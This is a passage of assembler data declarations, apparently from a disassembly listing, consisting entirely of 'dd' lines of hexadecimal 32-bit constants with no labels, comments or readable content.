		dd 13ED28h, 0D72BC950h,	7809C645h, 29C48EE8h, 47900244h
		dd 0C50440A9h, 13F8A0EBh, 8E3180BFh, 7015EF26h,	59183C00h
		dd 3E8ABE14h, 6BB4DD58h, 0D6F7C0E8h, 1E670CB1h,	3097E560h
		dd 23EEB1FDh, 71129A52h, 3420A365h, 0DFABCCEh, 0E0FF3A4h
		dd 0A110C341h, 0B1794047h, 34B900F4h, 8B21AC14h, 24886092h
		dd 1B023A3Dh, 0EA5FEC3Eh, 189C64E1h, 0C03388FEh, 109280E7h
		dd 62B0930Eh, 924B8F63h, 3D26D400h, 1F044DBBh, 0C9433B12h
		dd 0B401465Fh, 28276617h, 0DCA78734h, 34010888h, 39882183h
		dd 3CAFA0FAh, 2B9D266h,	5413A4C0h, 0C8C00885h, 960B7AC8h
		dd 7F9DE48h, 40D0A130h,	90363CE1h, 7386228Ch, 2104B62h
		dd 0A74247Eh, 3A131032h, 61637C0Dh, 0F0A560E0h,	8B4CA0D5h
		dd 4759003Fh, 0B8DF4BF3h, 2B0B1572h, 0A03746B1h, 8E7843D4h
		dd 58AA32F9h, 0D8A65580h, 0C8163834h, 1CD182h, 0D9000CA8h
		dd 7BABB93Bh, 2452D68Eh, 66C8822h, 18B7B62Ah, 1FD08648h
		dd 2420BCC6h, 85A80299h, 0C0E6A6F3h, 80CF8E5Dh,	204020C4h
		dd 0C3CE84D0h, 57150FC5h, 840AC2B0h, 28A5875Ch,	3ABF5ACh
		dd 2BD69FA0h, 8FBF04C1h, 42C6011h, 5248AA0Dh, 505E7413h
		dd 50104A18h, 4921C8A9h, 0C4110A18h, 705EB82Dh,	6D4278Bh
		dd 401E1405h, 3EF69AA4h, 600088D8h, 0C5130C84h,	4AFFC4Ah
		dd 0A4819641h, 83E4A027h, 0B0BCFE2Ch, 0CC806984h, 98004684h
		dd 74687258h, 367728D7h, 0A82E4E0h, 7F268BE8h, 12E1E84h
		dd 0FEE152CCh, 0DFAFDDBDh, 0DCC82BA2h, 990474F1h, 0B87C6EE4h
		dd 0C63F48A2h, 15C2CD80h, 78512C3Ah, 4F980A67h,	420864DAh
		dd 36930073h, 0FE1FF5A8h, 88728141h, 0DC95AC02h, 0F4A35559h
		dd 81FD4115h, 0DA9C7B91h, 0AE20E0A1h, 4784B8Ch,	697E101h
		dd 6021A882h, 92ECEFB8h, 0A838069Ch, 11E09679h,	2AA7523Ch
		dd 992AFCFCh, 0BC13C466h, 6CC6268Dh, 7509099h, 29DBE880h
		dd 600449C0h, 4874B4C7h, 7EB9A20Ch, 1F3116Fh, 3B77FC51h
		dd 8EAFD92Ah, 42A63371h, 607C69C6h, 4B67938Ch, 2B7C0216h
		dd 48D0E64Dh, 0B9E94109h, 73D82543h, 404ED83Ch,	0C807EBAEh
		dd 2FA9FE6h, 9D0FD890h,	3DBF1CD1h, 784480B2h, 0A19C7486h
		dd 0AA25AEE4h, 0AFAC9065h, 0C074B8Dh, 7BE9FB18h, 2403D7E6h
		dd 3ACDC710h, 527E0AF7h, 138A934h, 79819258h, 772C7324h
		dd 0CB0E1CA0h, 99FB4F09h, 0A234C339h, 0E7A8918Eh, 0FB4C400Dh
		dd 3153F93Bh, 7996C08Ch, 0A60597E0h, 734F23E8h,	627E2F08h
		dd 44695165h, 95023B9h,	20051E32h, 1ACC4144h, 3698127Ch
		dd 0C4280351h, 4AAC649h, 1CE818E2h, 96FBBB03h, 961052D9h
		dd 0E0661280h, 0E9B73071h, 0BE8A3300h, 12B8BBFFh, 84C0F4AEh
		dd 2613403Bh, 7F49965h,	6AA27248h, 3AB404C8h, 0B69C984Fh
		dd 0DCCCB523h, 84E64324h, 68576787h, 0AAC62987h, 8A0E0061h
		dd 0ACEE1BEFh, 1A005F75h, 17FD60F0h, 1FA56A2Ah,	70F93351h
		dd 8637E710h, 6E3EDA01h, 0EE6725F8h, 95F3F0h, 0B4D3FF52h
		dd 69F27E4Eh, 0C4D8F0Fh, 0C58C7FEAh, 1418B1h, 2382688Bh
		dd 61B6E55Bh, 0C2FAD400h, 0B147AC29h, 0CEDC00C7h, 0E55A78ADh
		dd 0BE1E8563h, 0D280E7B2h, 8F7F09D7h, 16674B7h,	23B54655h
		dd 0F008402Eh, 7D676880h, 8580F449h, 3817DC54h,	4F8BB777h
		dd 2980F17Ah, 2A24A4EAh, 5E762800h, 686FB965h, 803C0355h
		dd 4FD8C74h, 10D685E0h,	39311C00h, 0AC17431Eh, 3E843C13h
		dd 23080628h, 1103119h,	3C422E10h, 192080E9h, 0AEB2D046h
		dd 1DC7A47h, 31574D22h,	8E4E4B36h, 0A73E6D28h, 0B7A0F328h
		dd 0C08068D6h, 0F5E053C9h, 28C14DABh, 2548D4Ah,	0DE3C1C41h
		dd 23470883h, 6018AD31h, 0F5F9E27Ah, 29D964D7h,	0CEC94042h
		dd 0DCCB3Ah, 0FF4EE32Ch, 7CF5D6DFh, 334371C7h, 0B72D7F0h
		dd 1EFC0A45h, 1B040FEh,	5E68DC0Ch, 0C2C88088h, 0CE2D461Ah
		dd 0EEF30702h, 0FC5805C1h, 8C38C078h, 896F379Ah, 34BF280h
		dd 0B508A087h, 44BFF04Ah, 20DF1247h, 82006350h,	0D5A3583Dh
		dd 99C5C668h, 8C06C508h, 3C11149Eh, 39308A2Ch, 0ECBB5E91h
		dd 0CF9AEB0Ch, 0E02E697Eh, 0FEA30ADAh, 1FCC6DAAh, 0EF292040h
		dd 8A049828h, 54938B49h, 96EDF96Dh, 502E74C8h, 705480F7h
		dd 9FEC0064h, 9E82739h,	59731CEAh, 0B76DAF00h, 7E43DFD5h
		dd 0A8E00328h, 0C3A9A4E1h, 4EB699E0h, 9E000CA4h, 0EB3B0797h
		dd 7B0B7CF1h, 400D00D1h, 0DD3732B5h, 1714C393h,	9407868h
		dd 21128Ch, 4C3B5E94h, 0F69C1277h, 4A2804B4h, 387600ACh
		dd 280888C7h, 97EBEAh, 17E0E3C8h, 35B554CEh, 7D5B730Eh
		dd 60C76E0Bh, 0A44EB832h, 0D82E5089h, 0D6AD3CE5h, 40510807h
		dd 4769B17Eh, 0C50850Fh, 940097DBh, 27D189A2h, 403360CCh
		dd 0E58695B5h, 0F13B1490h, 8CA11F9Fh, 97020700h, 7FC930h
		dd 0D6874B46h, 4714B5CCh, 1906800h, 0B258C482h,	52750089h
		dd 42969E09h, 4E3E8559h, 33460005h, 0DBAAF7E9h,	9E380093h
		dd 0BA344264h, 58C1238Fh, 0AB3DC3CBh, 780E1880h, 0B3A17709h
		dd 33001D7Fh, 0B418EB02h, 61C481h, 0E184DB34h, 0FC19C8A1h
		dd 0F3DAB603h, 0D5F6488Ah, 0CA70F6C1h, 6FD4B0D9h, 1B2C1857h
		dd 0EB048035h, 0B8070D00h, 40DC61BDh, 148C178h,	99066DDBh
		dd 0ACD81B18h, 61D2FBE5h, 5BF9E2E1h, 0A202B082h, 8480B494h
		dd 62F1A026h, 0E06130C0h, 684BD80h, 408C17FEh, 3143F991h
		dd 82C78610h, 24B21F6Bh, 4033C49h, 889EB05h, 0DDCE4F82h
		dd 53C8AB00h, 428438E2h, 0E1FEE1FAh, 1DA0C2F0h,	0AB4297h
		dd 0B2874563h, 82F0486Dh, 0BEF78E00h, 32BB50F0h, 0E4920175h
		dd 5B2F9E06h, 4586F403h, 7C123400h, 3582F13Eh, 49830025h
		dd 81FC9722h, 90242BDh,	0D608C57Ah, 10209C28h, 0C0F0A2D9h
		dd 375E920Ah, 6A10041Eh, 8058AFECh, 0D4C8620h, 0E5B93D07h
		dd 4B80A507h, 0F93D3D1h, 9DF5AB4Ah, 4EA82C80h, 0DCA37AEDh
		dd 0CF6F12C0h, 0D5CEF11Eh, 0EE912931h, 4D0DD300h, 0CF08FF07h
		dd 4E145092h, 17E86380h, 37AF00EFh, 2C455DEEh, 1A0099FEh
		dd 0F88FA2CAh, 19CD5Eh,	56D652C7h, 5739690Eh, 0D2EEE500h
		dd 12A19435h, 89FA0075h, 3FE4CE1Ch, 8B1224DAh, 1007C19Ah
		dd 1B2050EEh, 782FAFA8h
		dd 0A6281C62h, 0E68C4079h, 0C033AC9Ah, 2E8EB300h, 435B409Eh
		dd 0CB1E007Bh, 8AC401BDh, 8009866h, 6CD4BEDFh, 9F2915Eh
		dd 8BB3A323h, 0D7FE6480h, 730389DEh, 1B180CBEh,	2B37A050h
		dd 9726003Dh, 0A8AD096Fh, 1D009CB5h, 52BAD4B0h,	63F9C2h
		dd 26915BFAh, 0D94AA3D6h, 9C873600h, 5CA18C78h,	0AA0116DCh
		dd 3BFCCDh, 4AC0CA64h, 8A6075h,	3A2CF25Fh, 32DFD6E3h, 0D06CEF00h
		dd 8B7161F6h, 93DA0019h, 70E2C21Ch, 3700BED5h, 5134E5B1h
		dd 1FE8AE86h, 1D0D81h, 88F0DBF8h, 0A600FC38h, 4ABB2C6Ah
		dd 9076E9CAh, 0D4270020h, 0A41FDA03h, 0C201BC17h, 0D108D012h
		dd 68CC6063h, 0E12600B2h, 0CE974318h, 6B39C5ABh, 85943D74h
		dd 93F2368Ah, 0C151E847h, 3129546h, 0BE43DEA1h,	64F0692Ch
		dd 0EC00BFC9h, 7D4CFE2Ah, 766EE2EDh, 79660037h,	67A169A4h
		dd 0FE003829h, 0E2ECD39Ah, 0F474F3h, 0A86EE9B0h, 9C233FDDh
		dd 2A006F79h, 45062A5h,	77BECD5h, 0B7DFA10Bh, 8E7653FBh
		dd 9C341000h, 3F254553h, 0DE4316AFh, 811F1FEDh,	33E5D2B5h
		dd 0E05DE275h, 6BE795h,	89D434E0h, 0AB9281ACh, 76758890h
		dd 114E0A00h, 0EDD33DBCh, 55D10027h, 2DE92B8Ah,	5D398477h
		dd 0A714803Ah, 0C995D84Fh, 0D48E005Ch, 4B0C36E5h, 643D934Ch
		dd 0D97A9217h, 0B766C00h, 1C3BB53h, 0E39D27BCh,	8703F482h
		dd 0F6AB6F8h, 73B28390h, 38A77A20h, 3F03E048h, 8D1F2A36h
		dd 42D782E8h, 74C9BA00h, 0FED315C1h, 0C1700F1h,	99047EA1h
		dd 7502CC16h, 8F51BA55h, 0B2F8400Dh, 95E90028h,	1165DA7h
		dd 6F60FFCh, 87DA003h, 0C020BCC0h, 0FB21E04h, 949713C6h
		dd 0CBB8063Eh, 4624A091h, 0D0A09429h, 21536F00h, 6A0748D9h
		dd 2CCC00A7h, 0D18FDF5Fh, 349AA349h, 0A6EF2100h, 0FE66EB22h
		dd 4AF30060h, 63827EDFh, 0AC905E19h, 3F747F00h,	12E4159Ch
		dd 0B96F00AFh, 5719FEF9h, 4C00881Ch, 0A6369543h, 0ED4737Dh
		dd 6E04103Bh, 0F82469A0h, 88000BE1h, 93EA234Bh,	16B5AA37h
		dd 106483h, 0A098FC2Bh,	0C9007B5Eh, 0BA2D55C6h,	824827h
		dd 8757030Bh, 0A869371Fh, 0CB4C0F07h, 5E732B7Bh, 0B89E022h
		dd 0C2091FD9h, 6C038014h, 7F6DF112h, 287B0500h,	319C60D2h
		dd 7B3907Dh, 0F90F9664h, 9279C125h, 0D637C819h,	0EE58C300h
		dd 31C41803h, 5A3C019Dh, 1176AFA9h, 0F86DD878h,	2BEF8000h
		dd 7F47935Fh, 8DA40768h, 9024A80Eh, 3B566D26h, 10287A1Fh
		dd 990C4100h, 1EB71451h, 0DC0668E1h, 0A47F006Dh, 0EED1F6F2h
		dd 0EBB37C00h, 0D718BFA2h, 23780062h, 6DFC54E3h, 6401EE76h
		dd 11DDEAB1h, 6A6051DEh, 0A67DEDh, 0F7FC5F4h, 3525DFB6h
		dd 0EAEC5000h, 854B1710h, 2EAB00DAh, 27CFFA07h,	0C005FA8h
		dd 64385455h, 0E06F3B06h, 595000Bh, 4FE36EC8h, 0DE00ECC5h
		dd 111B3268h, 0A42AF7h,	6E9FD38Fh, 7BF5CBE7h, 0AED2F91Eh
		dd 78B7ED40h, 71FF76h, 8FE24DC5h, 51CE11EBh, 2D911000h
		dd 32D73425h, 0DF6A00A5h, 0DA39D83Dh, 56072B8Dh, 59D6718Ch
		dd 0A85EB863h, 1F81EB41h, 201930h, 855AA51Bh, 4C016532h
		dd 0B67D9779h, 0C84036EEh, 1DBE540h, 0D6147041h, 0FC0366C1h
		dd 0FA07A221h, 0B33169F8h, 6B5F803Fh, 14FB32h, 0F2AFE5F3h
		dd 3DCEFE50h, 2CC06400h, 0E10455DAh, 0D8390023h, 0DB48BBA5h
		dd 3B173D46h, 5A0EA00Bh, 0D97520EDh, 0C52567h, 35C3D7E4h
		dd 0D2C4FB5Ch, 367BDB1Dh, 4060128Eh, 0A1A6B503h, 14F600D8h
		dd 1C926DDh, 0BF7EF9E4h, 8091C638h, 0A6E1B0C0h,	78FECA5h
		dd 422FD94Eh, 507A201Ch, 1D006024h, 856901B7h, 276B814h
		dd 5C777C2Ch, 0C440A611h, 2A03F6E0h, 0BD6EBCF3h, 5897C0C3h
		dd 84E600BBh, 500E6383h, 66005C86h, 4B6992Fh, 109575Dh
		dd 0C111969Fh, 80B0E024h, 0E98016D8h, 1BAD77Fh,	0CE507B94h
		dd 30DD7074h, 61008848h, 377236FBh, 0C1BB416h, 0F621E2F4h
		dd 0C7002BF9h, 0E13EF079h, 0EEFCB4Bh, 5FD01CAEh, 0EDEA40FDh
		dd 31D737DFh, 98B0C00h,	0FF29AF41h, 0F410AB69h,	0C290E10Ch
		dd 718D5B00h, 65946C47h, 0B1D43E6Bh, 5C341Fh, 0B49F98BAh
		dd 0A90F0380h, 0E0522C30h, 1544314Bh, 0BD250032h, 0B75ED298h
		dd 3C242EF3h, 0DD189052h, 36B068h, 28D0469h, 0F968C99Ch
		dd 20E2EF00h, 7071C8B3h, 0CC510039h, 93BD52A9h,	6100D08Dh
		dd 0C1E9ADC4h, 4943725Bh, 771BCFCh, 0C25CEB20h,	35F3002h
		dd 0A8001AF8h, 0CA5DD00Dh, 253778h, 828ACFC1h, 0F894E108h
		dd 3E023090h, 62DBC417h, 668FC07Ah, 51E60055h, 0B38368EDh
		dd 7500A561h, 4FCB69C3h, 38AF3062h, 0E081456Eh,	3E6C024Ah
		dd 32C6ECA0h, 0D43E8EFh, 0BE592500h, 57671D53h,	9DDD006Dh
		dd 3C0807A5h, 900B8ABh,	27B3DC2Fh, 0BEC8D0h, 9C46D311h
		dd 0A67B5FB1h, 0EF69BD0Eh, 0F71CE04Ch, 3D64155Ah, 3A4CED6h
		dd 85430014h, 7AF66E95h, 80371A38h, 0E39F6C39h,	12A78420h
		dd 0B9A474h, 0FBBB36B1h, 0B7008F2Bh, 358B650Dh,	1F3963h
		dd 3B7B8C5Bh, 5F99B156h, 0E5B48F03h, 0B490849Fh, 2904C8h
		dd 0F375D0E0h, 92D9E8A6h, 0A887E400h, 7AB6076Bh, 65E613h
		dd 0D3306DD8h, 4C233699h, 73F50E00h, 6AFDF40Ch,	0AA9F3951h
		dd 81C6FB80h, 0E45EF389h, 0CF111003h, 0CA334AE9h, 8C8060CDh
		dd 81440029h, 0A3BB8ECBh, 0E500F1C7h, 8901978h,	0EAB4F99Dh
		dd 2BC500E6h, 0C121E1D2h, 10137D27h, 2C0064D4h,	9E1597FCh
		dd 0A959033Ch, 0DF34C72Ah, 8DE0B3A3h, 0CE03A738h, 1DEAEF4Ah
		dd 396BE1C4h, 0F8EB3189h, 0DE5EC180h, 3F00DACAh, 4DFF5667h
		dd 4891205Bh, 26717C9Fh, 9361DEEh, 0FD4479h, 0A1E0AC5Fh
		dd 11B6065Ah, 50ECA283h, 0B977E300h, 0D606EAB0h, 99B70030h
		dd 604736E7h, 4EB0CDA1h, 0E448C5B0h, 23007560h,	1517C69h
		dd 7FAB17h, 972861BEh, 0DD81F3B9h, 4D8D1E00h, 8BD64E57h
		dd 0C7DE0176h, 0DF6C593Ah, 0CB8840D1h, 0EC00DAD8h, 0A0144EADh
		dd 0E4E2D3E4h, 0A0F0F45h, 0D43AE31h, 8883F10h, 0FF0068D6h
		dd 0A3F36DDDh, 3AD378F2h, 0C30E052Dh, 7E60B12Ah, 0E80AD4AEh
		dd 0E20055E2h, 0A537242Fh, 76B56ACh, 4D21A704h,	7E14E08Bh
		dd 0AB006554h, 0F26D7192h, 1DC341B9h, 40B5CE4Ah, 0E03CA481h
		dd 0FD00A052h, 69D6E8E7h, 0A3C78Ch, 0DDE16FB4h,	17209FEAh
		dd 0CCB48E54h, 8514D27Fh, 0A8EEA6h, 0A1DB9367h,	1EECCFB8h
		dd 0C0F2BF8Bh, 0E4B482A8h, 8700B7C7h, 1CFABB43h, 5E240F29h
		dd 40C384A2h, 0B3D1A7C8h, 0F000BB2Eh, 7DC8309h,	3DC4ACh
		dd 0BCB5811Dh, 0B6141BFAh, 0F50D1C00h, 0B81308A9h, 0DC90C077h
		dd 6D024C6Fh, 0AA17B200h, 6905325Ah, 0EF533016h, 5F897960h
		dd 71E96A30h, 71FFB40Ah, 2FA0046h, 0A909AFE6h, 0E80020D3h
		dd 1BA89EC5h, 7438D08Ch, 1E437B54h, 80589192h, 2D7FE21h
		dd 30922955h, 9352C200h, 0AA278118h, 0DEA0B08h,	8180492Fh
		dd 20DB4289h, 2279C904h, 88D3E55Eh, 34A3C86Ch, 89D90304h
		dd 92644E65h, 0EF4B2DC8h, 8198E300h, 0D951EC95h, 9CCB0174h
		dd 0E43588ABh, 0DCF8C96Fh, 0EC005B2Bh, 0D316DFB1h, 11BD744h
		dd 6157C389h, 0E49E0679h, 6F001EA3h, 0BB63F691h, 0F5FA403h
		dd 5AC680C4h, 0D0A66DC0h, 0FC0EE4D7h, 601DA58Fh, 4EECC93Fh
		dd 5BE93DBDh, 0A6147800h, 59575F04h, 5D33B100h,	0BE3227B0h
		dd 1EE079B4h, 4051E5AFh, 31DE86DFh, 400EBC3Ah, 5ECAF44Dh
		dd 76DA53C0h
		dd 452ABFh, 0B62D5F67h,	0A0CE8B5Bh, 0B42C1728h,	0A0424324h
		dd 0C8408800h, 84EA07h,	0D8BE83D7h, 0C123CB9h, 804F8C3Ch
		dd 0EF8176A3h, 0F64B80h, 3944EE2Eh, 0FB1CB7D4h,	0C0DFE000h
		dd 25592C05h, 1A99045Bh, 800C9F6Bh, 0A8B78A69h,	930B4CE2h
		dd 793B84h, 16145074h, 6E7B18h,	0F027A1BBh, 818A8370h
		dd 0E92AB48h, 88DB94h, 0A9671364h, 0E7400032h, 0A23A6806h
		dd 400F3E2h, 0BA7C7FC0h, 3AEC742Ah, 16800B7Dh, 7FF9BDAh
		dd 0D200A8FEh, 842136FCh, 13EBB3h, 94EF0658h, 56F373A6h
		dd 178E900h, 0E33A44EAh, 0AB60084h, 0DD7C6C3h, 0CF0F2C0Fh
		dd 81FB54C4h, 7473A89Fh, 1CCC470h, 0F7F20902h, 60EC7D29h
		dd 4CB0AFDCh, 886BBB00h, 223760DBh, 9855012Ah, 6CEC948Bh
		dd 0AF5C2074h, 6B288A01h, 0F4D22C44h, 4CBFCCh, 53615FA2h
		dd 0B6B908EAh, 0EB006A76h, 97EF8622h, 3BEAA18h,	0D48CF606h
		dd 1800203Eh, 0ABD012FEh, 77AC16h, 691B7622h, 28DC3C07h
		dd 0D5544700h, 0C91A1226h, 0F627D8Ah, 209BACA4h, 5435BE63h
		dd 73FCC0E4h, 0B3B8FE46h, 2BCC9D03h, 0BB2DF212h, 93D80AE6h
		dd 0CC75ACh, 24E338F9h,	300D92Bh, 0D3F0F8A0h, 14568922h
		dd 945A0D08h, 521DBE00h, 0A15B51D9h, 53C5D400h,	0AFE19002h
		dd 0A8560063h, 0E4BCC409h, 0BA077EABh, 6A92204Ah, 2C366FC0h
		dd 0AF90FBh, 2F27A318h,	25763E4Fh, 0F900F1B8h, 0BF30DB92h
		dd 53A86Ch, 0FACC67A6h,	821EA0E0h, 60B15E00h, 1D33D2F4h
		dd 0E78F00AEh, 1485574Ah, 1600F527h, 2E9EBD81h,	8E77B5h
		dd 0CEAE0470h, 0C598117Ah, 18EC3Fh, 0BDD16AA3h,	0EAE63043h
		dd 80873BBEh, 0ADD32601h, 0CC1EB786h, 611CD613h, 0DD477722h
		dd 54C0AE03h, 0EE2FF9h,	69E2E44Dh, 0B938E3FAh, 6D9E2603h
		dd 90664C32h, 5FAA6Ch, 6141C9Ah, 5DF312D5h, 0B3413400h
		dd 0DC3829BCh, 54AC00BAh, 47ED15FEh, 67EEE95h, 0E167CD00h
		dd 0CCC8A611h, 99A00C4h, 6A553D01h, 0D70FDDEBh,	2088FAD0h
		dd 0B6F469AFh, 0BD7400C5h, 24E88AD3h, 0AA0077D6h, 0B55A64D2h
		dd 5D626Ah, 0F98F08A0h,	0D40A8D09h, 13661500h, 9CCEE321h
		dd 54330005h, 0DBD5D661h, 590E18FDh, 0C0582A2Eh, 4A984225h
		dd 639300D2h, 0DD96C8DAh, 7E007177h, 0C4CE305h,	1DB2A52Eh
		dd 0B4B2Ah, 0FA4ADDBEh,	94000D69h, 0C1754653h, 5CD2A7h
		dd 0A9E07065h, 1459B883h, 0AAD67407h, 63577BC8h, 5D500CB1h
		dd 51078880h, 8B8EDA49h, 57907D00h, 0EB235E79h,	0DFDE007Eh
		dd 77077A6Ah, 0FB61363Dh, 98181709h, 75502087h,	0AE5E8032h
		dd 2DF0DDD9h, 59302F78h, 3ACD11ABh, 0D7F41DCEh,	1147814Ch
		dd 8051B70Ch, 0EB146828h, 1F203759h, 36B5CF54h,	24EC1960h
		dd 50D2D7Dh, 707FCD47h,	2F25C8h, 68B559A7h, 661C5CA1h
		dd 0FC033400h, 81F61BAAh, 0CEA00D4h, 0C4371EEEh, 3D00EBCFh
		dd 7736A0BDh, 40A6CAh, 419E35C6h, 0B2EE84Ch, 0E6445914h
		dd 0D14907E5h, 0BFF07184h, 7EAADECAh, 67610055h, 64DBEA40h
		dd 7107F559h, 8F27B504h, 0E0AFCE4Fh, 0D49E3F53h, 3FF7E837h
		dd 971FF86Bh, 0E6244043h, 0B9A01A29h, 585D900h,	0BFAB35D3h
		dd 0EB34009Eh, 59DABD48h, 0C8F0CBA8h, 1A66E00h,	57EE06FBh
		dd 0FF7D0074h, 5A4C1E17h, 5B00F5D9h, 8228875Dh,	36BA5FAh
		dd 0D7B842FBh, 808C8811h, 9FDEF193h, 574E19C0h,	3F80DA4h
		dd 0F7ADBE71h, 0D1EB1006h, 488E2000h, 0C9DBE29Fh, 72B70E44h
		dd 39600D36h, 0DD3EB37Dh, 1C00DCF8h, 90F53BAEh,	0F0E08845h
		dd 6EE643h, 7EC15191h, 8441A5D9h, 0F7BAD000h, 32DF87FBh
		dd 0D1073CE3h, 0E7102E80h, 0CE9A3395h, 11315000h, 15FBF6CBh
		dd 68D01F8Fh, 1520393h,	400BB86Ch, 8373E942h, 6F1872Fh
		dd 724A5B68h, 160FA855h, 0C77A5233h, 808FDC08h,	840B6019h
		dd 0D081C0A5h, 8EC281DEh, 7323CE00h, 194B6F1Fh,	748F0F02h
		dd 0C48799FBh, 0CF8C9187h, 5670F071h, 633C1CF0h, 0D01600D3h
		dd 0C63B5477h, 3F483053h, 0DF6CEA98h, 0C48E550h, 0EF6AC21h
		dd 0A0F81372h, 0C4317E88h, 0B839C8CCh, 148F0EECh, 748EC348h
		dd 0EE5DFE1h, 809C581Fh, 1420D1Ch, 4A148791h, 0CC9A6Bh
		dd 61868F8Ah, 3F2FE18h,	0B8430765h, 9ED0F0BCh, 900AB4Ah
		dd 0B6F534FCh, 1F63A673h, 404E1C7Fh, 6C4647E3h,	9F00EC31h
		dd 0F4B8BFBEh, 0E22D09C8h, 0FA8005Dh, 382E33E9h, 78009F85h
		dd 0F25C616Dh, 2D501DCh, 90E3974Dh, 0FF17A5h, 9A379674h
		dd 504E0028h, 0A26C353h, 0D1002DECh, 1D64E42Ah,	1A3599h
		dd 3EBC0E05h, 0A91CFB75h, 0AEFC200h, 0CE52D74Fh, 0BB780042h
		dd 905089D0h, 48000113h, 9DC7BF8Eh, 131FC566h, 78DB6B2h
		dd 0E6AD38Dh, 0FFA83740h, 3E0768BCh, 0A90CFBA3h, 922B7C60h
		dd 4B080003h, 5F5C8750h, 60006943h, 70CF8530h, 7EBB68Eh
		dd 0EA3F075Ah, 0CDDCD068h, 51005BB5h, 0ED99BB9Ah, 0CC1AB9h
		dd 3E5505ECh, 66CF94B3h, 68EF8900h, 61F9637Dh, 62480072h
		dd 8B3A88DFh, 86E61438h, 3DB034FCh, 5C9EF00Fh, 0C39B6A67h
		dd 0F1780Eh, 546ACC7Ch,	2122007Dh, 7B9C1F3Ch, 72000482h
		dd 0D952F35h, 0EBFD14h,	0F7158C9Bh, 54DE0917h, 0A9B07F00h
		dd 0A45CC0CFh, 0AAECC3h, 1005BCA7h, 90AE5E8h, 0BAECEB3Eh
		dd 7BBD8320h, 0E970D553h, 5CEC78A2h, 0E82307FCh, 0A08C37A5h
		dd 0A356426Ch, 4E9B7B00h, 165B127Eh, 0F2EA6Ah, 0F89CA5DDh
		dd 4DC01779h, 4503AB0Bh, 789800DCh, 0FD32EBh, 0C2E13739h
		dd 0A4407F2Fh, 80464100h, 129783AEh, 985D0005h,	79180975h
		dd 283E4A7Ah, 0E032008Fh, 0B4F47489h, 0C936005Eh, 20921FCEh
		dd 61DA381h, 670065C5h,	0C73D3C4h, 0D60E566h, 0C9FC007Bh
		dd 0DBC6A9D0h, 0C000FF11h, 0CAB85A04h, 0EF9615C4h, 0AFD18440h
		dd 0C3C600F1h, 697B4642h, 3001754h, 0B5D9E61Fh,	0E235B173h
		dd 95FA3D78h, 12217C03h, 1800C581h, 98AB3BC7h, 7F91F245h
		dd 930FBD2h, 700A0F82h,	0EDE00EB7h, 0E77255BCh,	96FF6D00h
		dd 862BFDEFh, 9E4501D2h, 0A6373E11h, 343BE04Dh,	0C2CD0900h
		dd 0F5EA5618h, 0DDB2C58h, 0D7F00086h, 12B7555Fh, 1FBAAE07h
		dd 2640482Ah, 7D01B09h,	0DA922EF2h, 40EA6778h, 2D3BF4Bh
		dd 84D53501h, 0E2559C46h, 3CF8C3E8h, 0FC00B46Eh, 30A0FA12h
		dd 62EC3F9Fh, 20A30C00h, 2B138318h, 22F90146h, 0A47A0649h
		dd 0FDD1E72Ah, 997BFCC7h, 514E1700h, 2F071A40h,	0FAD10090h
		dd 5E0B325h, 0F300EB91h, 0C515D842h, 0F0E2CDC8h, 9CB9003Ah
		dd 621BCEB6h, 0FA075F1Fh, 0F8FB2F52h, 0F0F6E6h,	0E421B315h
		dd 0F41385C1h, 41DC1E03h, 0E83A8033h, 39C7A0h, 98280FB4h
		dd 22CEC086h, 0F9F8EA00h, 52ECBA2Ah, 0D4E0D0h, 0C895FEEDh
		dd 58A70CEFh, 0E16AB000h, 36AAE45Ah, 790A00EAh,	0AD1805ACh
		dd 8400EB61h, 0BD3ACBDBh, 6727BCh, 0D432B187h, 26696B36h
		dd 0A871820Bh, 2FC300E3h, 16A02Dh, 47FF197h, 43D35ADAh
		dd 0BFCA4424h, 0F2F03007h, 32223BA0h, 0AD74249Dh, 5FC30024h
		dd 33FDB89Ah, 43309700h, 0F6D07081h, 1D367316h,	812498F5h
		dd 0C2C85A0Ch, 90AEF01Bh, 0FF396701h, 0CCA67401h, 0BE7E30h
		dd 0B6C06F72h, 0E7E91303h, 0C2ECB91Dh, 3F1FAF97h, 1DEF5C0h
		dd 95E2C8h, 6A825B3Ch, 0DC5059DDh, 30EA9ECh, 23FDEB49h
		dd 0C1440D9Ah, 3AC892C1h, 221D0EF8h, 0A020F663h, 36F0CBDCh
		dd 530112B0h, 7AE4A49Ch
		dd 4841209h, 80282C7Ch,	0C8641B14h, 5EF5D301h, 0DD4AA699h
		dd 0E552F60h, 0D791125Fh, 49D48FC0h, 720B064Bh,	0EE832CCh
		dd 0EA532046h, 428B97h,	0B6699F8Ch, 0DB56933Fh,	95CD8605h
		dd 0F00FFAB5h, 0C9E2000Dh, 4418189h, 8F57B447h,	5006C087h
		dd 4512222Ch, 24000C63h, 1C86FDACh, 41DB3985h, 29624900h
		dd 35464D37h, 0A157B300h, 0CF5C6A89h, 0AC8448DDh, 36DE9D00h
		dd 0D6B16FBBh, 0B666939h, 0F7CD3218h, 2ADC9280h, 380793FDh
		dd 0BCB39F42h, 60DBA6h,	468865B5h, 4F348540h, 80133209h
		dd 0A1F7831Eh, 29BE9Eh,	0B005F635h, 8D328A1Ch, 1D106700h
		dd 69572B9Ah, 5DA000B2h, 755E0CF6h, 7A601EDCh, 6723E98h
		dd 0F9DE28D8h, 536B0084h, 0B9CB4365h, 0E800B303h, 0D0C1ECD5h
		dd 0E4A5DC4Dh, 3376BBh,	0D6478B7Ah, 0DD4E356Fh,	0F1BFCF00h
		dd 6D765180h, 2C1F006Ch, 521546A4h, 3D0B5F0Ch, 6F80A98h
		dd 3C54329Bh, 39816AE7h, 72B1AD0Bh, 0A22DD8EDh,	91007090h
		dd 961B0406h, 0D14D3Ch,	0D9A978A5h, 716C23BFh, 1791CD1Eh
		dd 19CEB540h, 7ED036Dh,	5C9BB76Eh, 0E59AA0FEh, 1001D8D1h
		dd 0D4987011h, 8EC002A8h, 3A3E0044h, 68603F09h,	917330A1h
		dd 0CEF0BDh, 0C29256E3h, 31EEB0D5h, 0AB8D1300h,	0FFCC3DD2h
		dd 0FB5E28Ah, 0E2247F01h, 36190E5Dh, 0C134F4A0h, 4073B1F9h
		dd 0A87A7100h, 0BFA0A48Fh, 0C3E70FDCh, 0FFE13B18h, 40896E91h
		dd 6F0B63FCh, 0D940CA00h, 565A9070h, 70A073B7h,	4F6005F5h
		dd 27788B3h, 0CE3AD6DCh, 0F40D8C61h, 1300C639h,	15B0254Ah
		dd 71C89C6Dh, 4E571C21h, 6B2CC289h, 9C432936h, 0A17EF288h
